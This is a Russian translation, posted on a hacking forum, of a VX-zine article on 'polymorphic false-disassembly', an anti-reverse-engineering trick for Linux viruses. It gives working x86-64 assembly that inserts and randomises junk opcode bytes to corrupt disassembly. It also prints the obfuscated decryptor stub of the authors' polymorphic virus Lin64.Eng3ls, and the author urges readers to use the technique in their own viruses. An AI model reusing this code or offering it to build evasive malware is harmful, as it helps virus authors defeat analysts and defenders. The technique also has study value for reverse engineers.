Статья tmp.0ut #1 - The Polymorphic False-Disassembly Technique (S01den)

xss.is/threads/52651

tmp.out посвящен линукс VX-сцене, мне стало интересно, что она из себя представляет. И вот, вы видите одну из статей из этого "журнала".
Лирическое отступление переводчика.

The Polymorphic False-Disassembly Technique
~ S01den

С любовь от S01den, из команды tmp.out!
mail: S01den@protonmail.com

--- Вступление ---

Когда я писал Lin32.Bakunin[0], я гадал, как же сделать вирус на MIPS более интересным, который не просто печатает несуразицу.
Я хотел позлить реверсеров. Поэтому я вспомнил одну технику, которую я реализовал в нескольких собственных crackme.

Т.к полиморфизм - круто, я захотел выяснить, возможно ли смешать полиморфизм и False-Disassembly тем или иным образом.

Ответ - да, возможно. Я назвал (я не знаю нова ли эта техника или нет) этот трюк "Polymorphic false-disassembly" или просто "Fake polymorphism".

--- Как работает false-disassembly? ---

Эта техника проста в понимании и реализации.
Я нашел ее в относительно популярном документе Silvio Cesare[1] о методах анти-дебагга и техник реверса в Линуксе.
Вам достаточно просто запихнуть несколько байтов, которые начинают выполнение инструкции перед вашим кодом, например:

Code:

```
hey:                        hey:
   xor %rbx, %rbx               .ascii "\x48\x31"
   jmp yo            ====>      xor %rbx, %rbx
                                jmp yo
```

Если мы поглядим на код в дизассемблере, то мы получим приблизительно такой результат (тут применялся radare2):

Code:

```
;-- hey:
0x00401002      4831db          xor rbx, rbx
0x00401005      eb02            jmp 0x401009

                     ||
                     \/
;-- hey:
0x00401002      48314831        xor qword [rax + 0x31], rcx
0x00401006      dbeb            fucomi st(3)
0x00401008      026631          add ah, byte [rsi + 0x31]
```

Почему дизассемблер пошел таким путем?

Хорошо, \x48\x31 "запускает" xor инструкцию[2], следующие байты определяют регистры, с которыми мы работаем.
Таким образом, "инициализирующие" байты "прикрепляются" к последующим байтам, которые также являются "инициализирующими".
Из-за этого дизассемблер определяет их как байты "регистров" и выплевывает нам мусор вместо нужных инструкций!

Следовательно, чтоб запустить такой код, нам нужно перепрыгнуть через байты, которые мы поместили.
Должно получиться что-то подобное:

Code:

```
_start:
jmp hey+2

hey:
   .ascii "\x48\x31"
   xor %rbx, %rbx
   jmp yo
```

--- The full code ---

Представь, что мы можем произвольно изменять байты, позволяя выполнять технику false-disassembly при каждом инфекте или выполнении.
Дизассемблированный код тоже будет меняться и реверсер посчитает, что код полиморфный, когда изменяется всего лишь несколько байтов.

И сейчас, без всяких промедлений, предоставляю полный код.

Code:

```
# build cmd: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly

# this code is a fake polymorphic example, feel free to try/use/whatever it!
# It grabs itself its code, modify the fake-disassembly bytes and put the result
# on the stack.

.text
  .global _start

_start:
jmp true_start+2 # jump over the fake-disassembly bytes

true_start:
.ascii "\x48\x31"  # fake-disassembly bytes
xor %rbx, %rbx
jmp get_code+2 # jump over the fake-disassembly bytes

get_code:
  .ascii "\x66\x31"  # fake-disassembly bytes
  call get_rip
  sub $0x10 ,%rax # 0x10 is the number of bytes between _start abd this instruction
  movb (%rax,%rbx), %al
  movb %al, (%rsp,%rbx)
  inc %rbx
  cmp $0x54, %rbx  # 0x54 is the total size of this code
  jne get_code+2

  # Pseudo RNG thanks to the time stamp counter
  rdtsc
  xor $0xdead, %rax
  mov %ax, 2(%rsp)
  xor $0xbeef, %rdx
  mov %ax, 9(%rsp)

  mov $60, %rax
  mov $0, %rdi
  syscall # sys_exit

get_rip:
  mov (%rsp), %rax
  ret
```

-- Заключение --

Я надеюсь, вы остались довольны "докладом" и вы попробуете реализовать эту технику в своих crackme или вирусах!
Вместе с sblip, мы написали полиморфный вирус (Lin64.Eng3ls), который использует технику False-Disassembly чтоб обфусцировать свой декриптор.

Код декриптора:

Code:

```
pop rcx
  jmp jmp_over+2
  jmp_over:
    db `\x48\x31` ; false disassembly
    mov al,0x00
    xor rdx, rdx

  decoder:
    jmp jmp_over2+2

    jmp_over2:
      db `\xb8\xd9` ; false disassembly
      mov dl, byte [r12+rdi]
      cmp rdi, STUB_SIZE-1
      jna no_decrypt

      jmp jmp_over3+2
      jmp_over3:
        db `\x48\x81` ; false disassembly
        xor dl, al

  no_decrypt:
    mov byte [rbx+rdi], dl
    inc rdi
  loop decoder
```

Вот вам дизассеблированные декрипторы с зараженных бинарей, посмотрим на этот трюк "в лайве":

Code:

```
1.
  0x0c003f46      59             pop rcx
  0x0c003f47      eb02           jmp 0xc003f4b
  0x0c003f49      00d6           add dh, dl
  0x0c003f4b      b06d           mov al, 0x6d
  0x0c003f4d      4831d2         xor rdx, rdx
  0x0c003f50      eb02           jmp 0xc003f54
  0x0c003f52      1aca           sbb cl, dl
  0x0c003f54      418a143c       mov dl, byte [r12 + rdi]
  0x0c003f58      4881ff870000.  cmp rdi, 0x87
  0x0c003f5f      7606           jbe 0xc003f67
  0x0c003f61      eb02           jmp 0xc003f65
  0x0c003f63      c0d630         rcl dh, 0x30
  0x0c003f66      c28814         ret 0x1488
  0x0c003f69      3b48ff         cmp ecx, dword [rax - 1]
  0x0c003f6c      c7             invalid
  0x0c003f6d      e2e1           loop 0xc003f50

2.
  0x0c003fe6      59             pop rcx
  0x0c003fe7      eb02           jmp 0xc003feb
  0x0c003fe9      ce             invalid
  0x0c003fea      0ab0a34831d2   or dh, byte [rax - 0x2dceb75d]
  0x0c003ff0      eb02           jmp 0xc003ff4
  0x0c003ff2      39cb           cmp ebx, ecx
  0x0c003ff4      418a143c       mov dl, byte [r12 + rdi]
  0x0c003ff8      4881ff870000.  cmp rdi, 0x87
  0x0c003fff      7606           jbe 0xc004007
  0x0c004003      0e             invalid
  0x0c004004      0a30           or dh, byte [rax]
  0x0c004006      c28814         ret 0x1488
  0x0c004009      3b48ff         cmp ecx, dword [rax - 1]
  0x0c00400c      c7             invalid
  0x0c00400d      e2e1           loop 0xc003ff0
```

Результат действительно разниться с реальным кодом.

--- Заметки и референсы ---

[0] https://vx-underground.org/papers/VXUG/Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt
[1] http://www.ouah.org/linux-anti-debugging.txt // документ от silvio's
[2] https://www.felixcloutier.com/x86/xor
[3] Дизассемблированно с помощью radare2

Перевод:
~ Vism